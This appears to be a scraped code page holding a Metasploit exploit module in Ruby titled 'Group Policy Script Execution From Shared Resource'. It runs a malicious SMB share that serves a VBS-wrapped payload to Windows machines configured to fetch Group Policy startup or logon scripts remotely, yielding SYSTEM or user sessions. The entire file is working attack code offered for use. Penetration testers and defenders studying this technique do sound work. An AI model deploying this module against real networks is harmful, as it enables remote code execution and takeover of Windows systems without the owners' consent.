87 lines
2.7 KiB
Ruby
87 lines
2.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::SMB::Server::Share
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Group Policy Script Execution From Shared Resource',
|
|
'Description' => %q{
|
|
This is a general-purpose module for exploiting systems with Windows Group Policy
|
|
configured to load VBS startup/logon scripts from remote locations. This module runs
|
|
a SMB shared resource that will provide a payload through a VBS file. Startup scripts
|
|
will be executed with SYSTEM privileges, while logon scripts will be executed with the
|
|
user privileges. Have into account which the attacker still needs to redirect the
|
|
target traffic to the fake SMB share to exploit it successfully. Please note in some
|
|
cases, it will take 5 to 10 minutes to receive a session.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Sam Bertram <sbertram[at]gdssecurity.com>', # BadSamba
|
|
'juan vazquez' # msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html'],
|
|
['URL', 'https://github.com/GDSSecurity/BadSamba']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => false,
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jan 26 2015'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)'])
|
|
], self.class)
|
|
|
|
deregister_options('FILE_CONTENTS')
|
|
end
|
|
|
|
def setup
|
|
super
|
|
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.vbs"
|
|
@custom_payloads = {}
|
|
print_status("File available on #{unc}...")
|
|
end
|
|
|
|
def on_client_connect(client)
|
|
super(client)
|
|
|
|
unless @custom_payloads[:client]
|
|
p = regenerate_payload(client)
|
|
exe = p.encoded_exe
|
|
@custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe)
|
|
end
|
|
end
|
|
|
|
def get_file_contents(client:)
|
|
contents = @custom_payloads[client] || super(client: client)
|
|
|
|
contents
|
|
end
|
|
end
|